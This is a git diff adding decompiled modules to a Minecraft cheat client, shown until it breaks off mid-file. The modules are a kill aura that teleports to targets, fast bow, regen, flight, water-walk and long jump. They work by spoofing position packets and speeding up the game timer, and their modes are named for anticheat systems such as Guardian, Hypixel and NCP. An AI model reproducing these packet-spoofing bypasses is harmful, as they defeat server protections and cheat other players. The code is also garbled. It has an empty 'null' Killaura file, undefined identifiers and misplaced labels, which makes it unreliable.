diff --git a/src/minecraft/com/enjoytheban/module/modules/combat/FastBow.java b/src/minecraft/com/enjoytheban/module/modules/combat/FastBow.java
new file mode 100644
index 0000000..465b3a2
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/combat/FastBow.java
@@ -0,0 +1,116 @@
+package com.enjoytheban.module.modules.combat;
+
+import com.enjoytheban.api.events.world.EventPacketRecieve;
+import com.enjoytheban.api.value.Option;
+import com.enjoytheban.utils.TimerUtil;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.KeyBinding;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.item.ItemBow;
+import net.minecraft.item.ItemStack;
+import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition;
+import net.minecraft.network.play.client.C07PacketPlayerDigging;
+import net.minecraft.network.play.client.C07PacketPlayerDigging.Action;
+import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;
+import net.minecraft.network.play.server.S18PacketEntityTeleport;
+import net.minecraft.util.EnumFacing;
+
+public class FastBow extends com.enjoytheban.module.Module
+{
+  private TimerUtil timer = new TimerUtil();
+  private Option<Boolean> faithful = new Option("Faithful", "faithful", Boolean.valueOf(true));
+  int counter;
+  
+  public FastBow()
+  {
+    super("FastBow", new String[] { "zoombow", "quickbow" }, com.enjoytheban.module.ModuleType.Combat);
+    setColor(new java.awt.Color(255, 99, 99).getRGB());
+    addValues(new com.enjoytheban.api.value.Value[] { faithful });
+    counter = 0;
+  }
+  
+  private boolean canConsume() {
+    return (mc.thePlayer.inventory.getCurrentItem() != null) && 
+      ((mc.thePlayer.getCurrentEquippedItem().getItem() instanceof ItemBow));
+  }
+  
+  private void killGuardian() {
+    if (timer.hasReached(1000.0D)) {
+      mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, 
+        mc.thePlayer.posY - Double.POSITIVE_INFINITY, mc.thePlayer.posZ, false));
+      timer.reset();
+    }
+  }
+  
+  @com.enjoytheban.api.EventHandler
+  private void onUpdate(com.enjoytheban.api.events.world.EventPreUpdate e) {
+    if (((Boolean)faithful.getValue()).booleanValue()) {
+      if ((mc.thePlayer.onGround) && (mc.thePlayer.getCurrentEquippedItem() != null) && 
+        ((mc.thePlayer.getCurrentEquippedItem().getItem() instanceof ItemBow)) && 
+        (mc.gameSettings.keyBindUseItem.pressed)) {
+        mc.thePlayer.sendQueue.addToSendQueue(
+          new C08PacketPlayerBlockPlacement(mc.thePlayer.inventory.getCurrentItem()));
+        for (int index = 0; index < 16; index++) {
+          if (!mc.thePlayer.isDead) {
+            mc.thePlayer.sendQueue.addToSendQueue(new net.minecraft.network.play.client.C03PacketPlayer.C06PacketPlayerPosLook(
+              mc.thePlayer.posX, mc.thePlayer.posY - 0.09D, mc.thePlayer.posZ, 
+              mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, true));
+          }
+        }
+        mc.thePlayer.sendQueue.addToSendQueue(new C07PacketPlayerDigging(
+          C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, net.minecraft.util.BlockPos.ORIGIN, EnumFacing.DOWN));
+      }
+      if ((mc.thePlayer.onGround) && (mc.thePlayer.getCurrentEquippedItem() != null) && 
+        ((mc.thePlayer.getCurrentEquippedItem().getItem() instanceof ItemBow)) && 
+        (mc.gameSettings.keyBindUseItem.pressed)) {
+        mc.thePlayer.sendQueue.addToSendQueue(
+          new C08PacketPlayerBlockPlacement(mc.thePlayer.inventory.getCurrentItem()));
+        if (mc.thePlayer.ticksExisted % 2 == 0) {
+          mc.thePlayer.setItemInUse(mc.thePlayer.getCurrentEquippedItem(), 12);
+          counter += 1;
+          if (counter > 0) {
+            mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(
+              mc.thePlayer.posX, mc.thePlayer.posY - 0.0D, mc.thePlayer.posZ, 
+              mc.thePlayer.onGround));
+            counter = 0;
+          }
+          int dist = 20; for (int index = 0; index < dist; index++) {
+            mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(
+              mc.thePlayer.posX, mc.thePlayer.posY + 1.0E-12D, mc.thePlayer.posZ, 
+              mc.thePlayer.onGround));
+          }
+          mc.thePlayer.sendQueue.addToSendQueue(new C07PacketPlayerDigging(
+            C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, net.minecraft.util.BlockPos.ORIGIN, EnumFacing.DOWN));
+          mc.playerController.onStoppedUsingItem(mc.thePlayer);
+        }
+      }
+    }
+    else if ((mc.thePlayer.onGround) && (canConsume()) && (mc.gameSettings.keyBindUseItem.pressed))
+    {
+      mc.thePlayer.sendQueue.addToSendQueue(new C08PacketPlayerBlockPlacement(mc.thePlayer.inventory.getCurrentItem()));
+      for (int i = 0; i < 20; i++) {
+        mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, 
+          mc.thePlayer.posY + 1.0E-9D, mc.thePlayer.posZ, true));
+      }
+      mc.thePlayer.sendQueue.addToSendQueue(new C07PacketPlayerDigging(
+        C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, net.minecraft.util.BlockPos.ORIGIN, EnumFacing.DOWN));
+    } else {
+      mc.timer.timerSpeed = 1.0F;
+    }
+  }
+  
+  @com.enjoytheban.api.EventHandler
+  public void onRecieve(EventPacketRecieve event)
+  {
+    if ((event.getPacket() instanceof S18PacketEntityTeleport)) {
+      S18PacketEntityTeleport packet = (S18PacketEntityTeleport)event.getPacket();
+      if (mc.thePlayer != null) {
+        packet.setYaw((byte)(int)mc.thePlayer.rotationYaw);
+      }
+      packet.setPitch((byte)(int)mc.thePlayer.rotationPitch);
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/combat/Killaura.java b/src/minecraft/com/enjoytheban/module/modules/combat/Killaura.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/combat/Killaura.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/enjoytheban/module/modules/combat/Regen.java b/src/minecraft/com/enjoytheban/module/modules/combat/Regen.java
new file mode 100644
index 0000000..b879e3a
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/combat/Regen.java
@@ -0,0 +1,50 @@
+package com.enjoytheban.module.modules.combat;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.api.value.Option;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition;
+import net.minecraft.network.play.client.C03PacketPlayer.C06PacketPlayerPosLook;
+import net.minecraft.network.play.client.C07PacketPlayerDigging;
+import net.minecraft.network.play.client.C07PacketPlayerDigging.Action;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.FoodStats;
+
+public class Regen extends Module
+{
+  private Option<Boolean> guardian = new Option("Guardian", "guardian", Boolean.valueOf(true));
+  
+  public Regen() {
+    super("Regen", new String[] { "fastgen" }, ModuleType.Combat);
+    setColor(new Color(208, 30, 142).getRGB());
+  }
+  
+  @EventHandler
+  private void onUpdate(EventPreUpdate event) {
+    if ((mc.thePlayer.onGround) && (mc.thePlayer.getHealth() < 16.0D) && 
+      (mc.thePlayer.getFoodStats().getFoodLevel() > 17) && (mc.thePlayer.isCollidedVertically)) {
+      for (int i = 0; i < 60; i++) {
+        mc.thePlayer.sendQueue.addToSendQueue(
+          new C03PacketPlayer.C06PacketPlayerPosLook(mc.thePlayer.posX, mc.thePlayer.posY + 1.0E-9D, 
+          mc.thePlayer.posZ, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, true));
+        mc.thePlayer.motionX = 0.0D;
+        mc.thePlayer.motionZ = 0.0D;
+      }
+      if ((((Boolean)guardian.getValue()).booleanValue()) && 
+        (mc.thePlayer.ticksExisted % 3 == 0)) {
+        mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, 
+          mc.thePlayer.posY - 999.0D, mc.thePlayer.posZ, true));
+      }
+      
+      mc.thePlayer.sendQueue.addToSendQueue(new C07PacketPlayerDigging(
+        C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, BlockPos.ORIGIN, EnumFacing.DOWN));
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/combat/TPAura.java b/src/minecraft/com/enjoytheban/module/modules/combat/TPAura.java
new file mode 100644
index 0000000..627cad7
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/combat/TPAura.java
@@ -0,0 +1,90 @@
+package com.enjoytheban.module.modules.combat;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventTick;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.utils.TimerUtil;
+import java.awt.Color;
+import java.util.ArrayList;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.enchantment.EnchantmentHelper;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.network.play.client.C02PacketUseEntity;
+import net.minecraft.network.play.client.C02PacketUseEntity.Action;
+import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition;
+import net.minecraft.potion.Potion;
+
+
+
+public class TPAura
+  extends Module
+{
+  private int ticks;
+  private List<EntityLivingBase> loaded = new ArrayList();
+  private EntityLivingBase target;
+  private int tpdelay;
+  public boolean criticals;
+  private TimerUtil timer = new TimerUtil();
+  
+  public TPAura() {
+    super("TPAura", new String[] { "tpaura" }, ModuleType.Combat);
+  }
+  
+  @EventHandler
+  public void onUpdate(EventTick event) {
+    setColor(new Color(255, 50, 70).getRGB());
+    ticks += 1;
+    tpdelay += 1;
+    if (ticks >= 20 - speed()) {
+      ticks = 0;
+      for (Object object : mc.theWorld.loadedEntityList) {
+        if ((object instanceof EntityLivingBase)) {
+          EntityLivingBase entity = (EntityLivingBase)object;
+          if (!(entity instanceof EntityPlayerSP))
+          {
+
+            if (mc.thePlayer.getDistanceToEntity(entity) <= 10.0F)
+            {
+
+              if (entity.isEntityAlive()) {
+                if (tpdelay >= 4) {
+                  mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(
+                    posX, posY, posZ, false));
+                }
+                if (mc.thePlayer.getDistanceToEntity(entity) < 10.0F)
+                  attack(entity);
+              } }
+          }
+        }
+      }
+    }
+  }
+  
+  public void attack(EntityLivingBase entity) {
+    attack(entity, false);
+  }
+  
+  public void attack(EntityLivingBase entity, boolean crit) {
+    mc.thePlayer.swingItem();
+    float sharpLevel = EnchantmentHelper.func_152377_a(mc.thePlayer.getHeldItem(), entity.getCreatureAttribute());
+    boolean vanillaCrit = (mc.thePlayer.fallDistance > 0.0F) && (!mc.thePlayer.onGround) && (!mc.thePlayer.isOnLadder()) && 
+      (!mc.thePlayer.isInWater()) && (!mc.thePlayer.isPotionActive(Potion.blindness)) && 
+      (mc.thePlayer.ridingEntity == null);
+    mc.thePlayer.sendQueue.addToSendQueue(new C02PacketUseEntity(entity, C02PacketUseEntity.Action.ATTACK));
+    if ((crit) || (vanillaCrit)) {
+      mc.thePlayer.onCriticalHit(entity);
+    }
+    if (sharpLevel > 0.0F) {
+      mc.thePlayer.onEnchantmentCritical(entity);
+    }
+  }
+  
+  private int speed() {
+    return 8;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/movement/Boost.java b/src/minecraft/com/enjoytheban/module/modules/movement/Boost.java
new file mode 100644
index 0000000..7e71628
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/movement/Boost.java
@@ -0,0 +1,37 @@
+package com.enjoytheban.module.modules.movement;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.utils.TimerUtil;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+
+
+
+public class Boost
+  extends Module
+{
+  private TimerUtil timer = new TimerUtil();
+  
+  public Boost() {
+    super("Boost", new String[] { "boost" }, ModuleType.Movement);
+    setColor(new Color(216, 253, 100).getRGB());
+  }
+  
+  @EventHandler
+  public void onUpdate(EventPreUpdate event) {
+    mc.timer.timerSpeed = 3.0F;
+    if (mc.thePlayer.ticksExisted % 15 == 0) {
+      setEnabled(false);
+    }
+  }
+  
+  public void onDisable()
+  {
+    timer.reset();
+    mc.timer.timerSpeed = 1.0F;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/movement/Flight.java b/src/minecraft/com/enjoytheban/module/modules/movement/Flight.java
new file mode 100644
index 0000000..f27f60b
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/movement/Flight.java
@@ -0,0 +1,280 @@
+package com.enjoytheban.module.modules.movement;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventMove;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.api.value.Mode;
+import com.enjoytheban.api.value.Value;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.utils.TimerUtil;
+import com.enjoytheban.utils.math.MathUtil;
+import java.awt.Color;
+import net.minecraft.block.BlockAir;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.KeyBinding;
+import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition;
+import net.minecraft.network.play.client.C07PacketPlayerDigging;
+import net.minecraft.network.play.client.C07PacketPlayerDigging.Action;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MovementInput;
+
+public class Flight extends Module
+{
+  public Mode mode = new Mode("Mode", "mode", FlightMode.values(), FlightMode.Guardian);
+  
+  private TimerUtil timer;
+  
+  private double movementSpeed;
+  
+  private int counter;
+  private int hypixelCounter;
+  private int hypixelCounter2;
+  
+  public Flight()
+  {
+    super("Flight", new String[] { "fly", "angel" }, ModuleType.Movement);
+    
+    timer = new TimerUtil();
+    setColor(new Color(158, 114, 243).getRGB());
+    addValues(new Value[] { mode });
+  }
+  
+
+
+  public void onEnable()
+  {
+    if ((mode.getValue() == FlightMode.Hypixel) || (mode.getValue() == FlightMode.HypixelBoost)) {
+      hypixelCounter = 0;
+      hypixelCounter2 = 1000;
+      mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.2D, mc.thePlayer.posZ);
+    }
+  }
+  
+
+  public void onDisable()
+  {
+    if (mode.getValue() == FlightMode.Area51) {
+      mc.thePlayer.motionX = 0.0D;
+      mc.thePlayer.motionZ = 0.0D;
+    }
+    hypixelCounter = 0;
+    hypixelCounter2 = 100;
+    mc.timer.timerSpeed = 1.0F;
+  }
+  
+  @EventHandler
+  private void onUpdate(EventPreUpdate e)
+  {
+    setSuffix(mode.getValue());
+    if (mode.getValue() == FlightMode.Guardian)
+    {
+      mc.timer.timerSpeed = 1.7F;
+      
+
+
+      if ((!mc.thePlayer.onGround) && (mc.thePlayer.ticksExisted % 2 == 0)) {
+        mc.thePlayer.motionY = 0.04D;
+      }
+      
+
+      if (mc.gameSettings.keyBindJump.getIsKeyPressed()) {
+        mc.thePlayer.motionY += 1.0D;
+      }
+      
+
+      if (mc.gameSettings.keyBindSneak.getIsKeyPressed()) {
+        mc.thePlayer.motionY -= 1.0D;
+      }
+    } else if (mode.getValue() == FlightMode.Vanilla) {
+      if (mc.thePlayer.movementInput.jump) {
+        mc.thePlayer.motionY = 1.0D;
+      } else if (mc.thePlayer.movementInput.sneak) {
+        mc.thePlayer.motionY = -1.0D;
+      } else {
+        mc.thePlayer.motionY = 0.0D;
+      }
+      if (mc.thePlayer.moving()) {
+        mc.thePlayer.setSpeed(1.0D);
+      } else {
+        mc.thePlayer.setSpeed(0.0D);
+      }
+    } else if (mode.getValue() == FlightMode.Area51) {
+      if (mc.thePlayer.movementInput.jump) {
+        mc.thePlayer.motionY = 1.0D;
+      } else if (mc.thePlayer.movementInput.sneak) {
+        mc.thePlayer.motionY = -1.0D;
+      } else {
+        mc.thePlayer.motionY = 0.0D;
+      }
+      
+    }
+    else if ((mode.getValue() == FlightMode.Hypixel) && (e.getType() == 0)) {
+      mc.thePlayer.motionY = 0.0D;
+      counter += 1;
+      if (counter == 1) {
+        mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 8.0E-6D, mc.thePlayer.posZ);
+      } else if (counter == 2) {
+        mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY - 8.0E-6D, mc.thePlayer.posZ);
+        counter = 0;
+      }
+      if (timer.hasReached(50.0D)) {
+        if (mc.thePlayer.movementInput.jump)
+          mc.thePlayer.motionY += 0.5D;
+        if (mc.thePlayer.movementInput.sneak)
+          mc.thePlayer.motionY -= 0.5D;
+        timer.reset();
+      }
+    } else if ((mode.getValue() == FlightMode.HypixelBoost) && (e.getType() == 0)) {
+      mc.thePlayer.motionY = 0.0D;
+      counter += 1;
+      if (counter == 1) {
+        mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 8.0E-6D, mc.thePlayer.posZ);
+      } else if (counter == 2) {
+        mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY - 8.0E-6D, mc.thePlayer.posZ);
+        counter = 0;
+      }
+      if (timer.hasReached(50.0D)) {
+        if (mc.thePlayer.movementInput.jump)
+          mc.thePlayer.motionY += 0.5D;
+        if (mc.thePlayer.movementInput.sneak)
+          mc.thePlayer.motionY -= 0.5D;
+        timer.reset();
+      }
+    } else if ((mode.getValue() == FlightMode.OldGuardianLongJumpFly) && 
+      (mc.thePlayer.moving()) && 
+      (!Client.instance.getModuleManager().getModuleByClass(Speed.class).isEnabled())) {
+      if (mc.thePlayer.isAirBorne) {
+        if (mc.thePlayer.ticksExisted % 12 == 0)
+        {
+          if ((mc.theWorld.getBlockState(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ)).getBlock() instanceof BlockAir)) {
+            mc.thePlayer.setSpeed(6.5D);
+            mc.thePlayer.sendQueue
+              .addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, 
+              mc.thePlayer.posY + 1.0E-9D, mc.thePlayer.posZ, mc.thePlayer.onGround));
+            mc.thePlayer.motionY = 0.455D;
+            break label1154; } }
+        mc.thePlayer.setSpeed((float)Math.sqrt(mc.thePlayer.motionX * mc.thePlayer.motionX + 
+          mc.thePlayer.motionZ * mc.thePlayer.motionZ));
+      }
+      else {
+        mc.thePlayer.motionX = 0.0D;
+        mc.thePlayer.motionZ = 0.0D; }
+      label1154:
+      if (mc.thePlayer.movementInput.jump) {
+        mc.thePlayer.motionY = 0.85D;
+      } else if (mc.thePlayer.movementInput.sneak) {
+        mc.thePlayer.motionY = -0.85D;
+      }
+    }
+  }
+  
+  @EventHandler
+  private void onMove(EventMove e)
+  {
+    if ((mc.thePlayer.moving()) && (mode.getValue() == FlightMode.Hypixel)) {
+      mc.thePlayer.cameraYaw = 0.07272727F;
+      mc.timer.timerSpeed = 1.15F;
+      movementSpeed = MathUtil.getBaseMovementSpeed();
+      double x = -(Math.sin(mc.thePlayer.getDirection()) * movementSpeed);
+      double z = Math.cos(mc.thePlayer.getDirection()) * movementSpeed;
+      e.setX(x);
+      e.setZ(z);
+    } else if ((mc.thePlayer.moving()) && (mode.getValue() == FlightMode.HypixelBoost)) {
+      mc.thePlayer.cameraYaw = 0.07272727F;
+      if (hypixelCounter < 5) {
+        hypixelCounter += 1;
+        mc.timer.timerSpeed = 2.0F;
+      } else {
+        mc.timer.timerSpeed = 1.0F;
+      }
+      if (hypixelCounter2 < 112) {
+        hypixelCounter += 1;
+        mc.timer.timerSpeed = 2.0F;
+      }
+      if (hypixelCounter2 < 160) {
+        hypixelCounter2 += 1;
+      }
+      if (hypixelCounter2 >= 160) {
+        hypixelCounter2 = 100;
+      }
+      movementSpeed = MathUtil.getBaseMovementSpeed();
+      double x = -(Math.sin(mc.thePlayer.getDirection()) * movementSpeed);
+      double z = Math.cos(mc.thePlayer.getDirection()) * movementSpeed;
+      e.setX(x);
+      e.setZ(z);
+    } else if (mode.getValue() == FlightMode.Area51) {
+      if (mc.thePlayer.moving()) {
+        mc.thePlayer.setSpeed(3.3299999237060547D);
+        mc.timer.timerSpeed = 0.32F;
+      } else {
+        mc.timer.timerSpeed = 0.88F;
+        mc.thePlayer.motionX = 0.0D;
+        mc.thePlayer.motionZ = 0.0D;
+        mc.thePlayer.motionY = 0.0D;
+      }
+    } else if (mode.getValue() == FlightMode.AGC) {
+      if (mc.thePlayer.moving()) {
+        mc.thePlayer.setSpeed(mc.thePlayer.ticksExisted % 3 == 0 ? 5 : 0);
+      }
+      if ((mc.thePlayer.ticksExisted % 10 == 0) && (mc.gameSettings.keyBindJump.pressed)) {
+        mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 5.0D, mc.thePlayer.posZ);
+      } else {
+        mc.thePlayer.motionY = 0.05D;
+      }
+      if ((mc.thePlayer.ticksExisted >= 10) && (!mc.gameSettings.keyBindJump.pressed)) {
+        mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.5D, mc.thePlayer.posZ);
+        mc.thePlayer.ticksExisted = 0;
+      }
+    } else if (mode.getValue() == FlightMode.GuardianLongJumpFly) {
+      if (getMinecraftgameSettings.keyBindJump.pressed) {
+        EventMove.y = getMinecraftthePlayer.motionY = 1.5D;
+      }
+      if (getMinecraftgameSettings.keyBindSneak.pressed) {
+        EventMove.y = getMinecraftthePlayer.motionY = -1.5D;
+      }
+      if ((mc.thePlayer.moving()) && (!getMinecraftgameSettings.keyBindJump.pressed) && 
+        (!getMinecraftgameSettings.keyBindSneak.pressed))
+      {
+        if ((getMinecraftthePlayer.motionY > -0.41D) && 
+          (!getMinecraftthePlayer.onGround)) {
+          return;
+        }
+        for (int i = 0; i < 10; i++) {
+          mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, 
+            mc.thePlayer.posY + 1.0E-9D, mc.thePlayer.posZ, true));
+        }
+        mc.thePlayer.sendQueue.addToSendQueue(new C07PacketPlayerDigging(
+          C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, BlockPos.ORIGIN, EnumFacing.DOWN));
+        EventMove.y = getMinecraftthePlayer.motionY = 0.455D;
+        mc.thePlayer.setSpeed(7.0D);
+      }
+    } else {
+      mc.timer.timerSpeed = 1.0F;
+    }
+  }
+  
+  double getBaseMoveSpeed()
+  {
+    double baseSpeed = 0.275D;
+    if (mc.thePlayer.isPotionActive(Potion.moveSpeed)) {
+      int amplifier = mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).getAmplifier();
+      baseSpeed *= (1.0D + 0.2D * (amplifier + 1));
+    }
+    return baseSpeed;
+  }
+  
+  public static enum FlightMode {
+    Vanilla,  Guardian,  Hypixel,  Area51,  HypixelBoost,  OldGuardianLongJumpFly,  GuardianLongJumpFly,  AGC;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/movement/Jesus.java b/src/minecraft/com/enjoytheban/module/modules/movement/Jesus.java
new file mode 100644
index 0000000..d7012b7
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/movement/Jesus.java
@@ -0,0 +1,65 @@
+package com.enjoytheban.module.modules.movement;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.misc.EventCollideWithBlock;
+import com.enjoytheban.api.events.world.EventPacketSend;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+import net.minecraft.block.BlockLiquid;
+import net.minecraft.block.state.pattern.BlockHelper;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.KeyBinding;
+import net.minecraft.network.play.client.C03PacketPlayer;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+
+
+public class Jesus
+  extends Module
+{
+  public Jesus()
+  {
+    super("Jesus", new String[] { "waterwalk", "float" }, ModuleType.Movement);
+    setColor(new Color(188, 233, 248).getRGB());
+  }
+  
+
+
+
+  private boolean canJeboos()
+  {
+    return (mc.thePlayer.fallDistance < 3.0F) && (!mc.gameSettings.keyBindJump.isPressed()) && (!BlockHelper.isInLiquid()) && 
+      (!mc.thePlayer.isSneaking());
+  }
+  
+  @EventHandler
+  public void onPre(EventPreUpdate e)
+  {
+    if ((BlockHelper.isInLiquid()) && (!mc.thePlayer.isSneaking()) && (!mc.gameSettings.keyBindJump.isPressed())) {
+      mc.thePlayer.motionY = 0.05D;
+      mc.thePlayer.onGround = true;
+    }
+  }
+  
+  @EventHandler
+  public void onPacket(EventPacketSend e)
+  {
+    if (((e.getPacket() instanceof C03PacketPlayer)) && (canJeboos()) && (BlockHelper.isOnLiquid())) {
+      C03PacketPlayer packet = (C03PacketPlayer)e.getPacket();
+      y = (mc.thePlayer.ticksExisted % 2 == 0 ? y + 0.01D : y - 0.01D);
+    }
+  }
+  
+  @EventHandler
+  public void onBB(EventCollideWithBlock e)
+  {
+    if (((e.getBlock() instanceof BlockLiquid)) && (canJeboos())) {
+      e.setBoundingBox(new AxisAlignedBB(e.getPos().getX(), e.getPos().getY(), e.getPos().getZ(), 
+        e.getPos().getX() + 1.0D, e.getPos().getY() + 1.0D, e.getPos().getZ() + 1.0D));
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/movement/Longjump.java b/src/minecraft/com/enjoytheban/module/modules/movement/Longjump.java
new file mode 100644
index 0000000..512d424
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/movement/Longjump.java
@@ -0,0 +1,207 @@
+package com.enjoytheban.module.modules.movement;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventMove;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.api.value.Mode;
+import com.enjoytheban.api.value.Value;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.utils.math.MathUtil;
+import java.awt.Color;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.MovementInput;
+
+public class Longjump
+  extends Module
+{
+  private Mode<JumpMode> mode = new Mode("Mode", "mode", JumpMode.values(), JumpMode.NCP);
+  
+  private int stage;
+  private double moveSpeed;
+  private double lastDist;
+  
+  public Longjump()
+  {
+    super("LongJump", new String[] { "lj", "jumpman", "jump" }, ModuleType.Movement);
+    addValues(new Value[] { mode });
+    setColor(new Color(76, 67, 216).getRGB());
+  }
+  
+  public void onDisable()
+  {
+    mc.timer.timerSpeed = 1.0F;
+    if (mode.getValue() == JumpMode.Area51) {
+      mc.thePlayer.motionX = 0.0D;
+      mc.thePlayer.motionZ = 0.0D;
+    }
+    if (mc.thePlayer != null) {
+      moveSpeed = getBaseMoveSpeed();
+    }
+    lastDist = 0.0D;
+    stage = 0;
+  }
+  
+  @EventHandler
+  private void onUpdate(EventPreUpdate e)
+  {
+    setSuffix(mode.getValue());
+    if (mode.getValue() == JumpMode.OldGuardian) {
+      if ((mc.thePlayer.moving()) && (mc.thePlayer.onGround))
+      {
+        mc.thePlayer.motionY = 0.44D;
+        
+        mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, 
+          mc.thePlayer.posY + 1.0E-9D, mc.thePlayer.posZ, mc.thePlayer.onGround));
+        mc.thePlayer.setSpeed(7.0D);
+      }
+      else {
+        mc.thePlayer.setSpeed(Math.sqrt(
+          mc.thePlayer.motionX * mc.thePlayer.motionX + mc.thePlayer.motionZ * mc.thePlayer.motionZ));
+      }
+    }
+    else if (mode.getValue() == JumpMode.Area51) {
+      if (mc.thePlayer.moving()) {
+        mc.timer.timerSpeed = 0.33F;
+        if (mc.thePlayer.onGround) {
+          mc.thePlayer.setSpeed(5.0D);
+          mc.thePlayer.motionY = 0.45500001311302185D;
+        } else {
+          mc.thePlayer.setSpeed(7.0D);
+        }
+      } else {
+        mc.timer.timerSpeed = 0.33F;
+        mc.thePlayer.motionX = 0.0D;
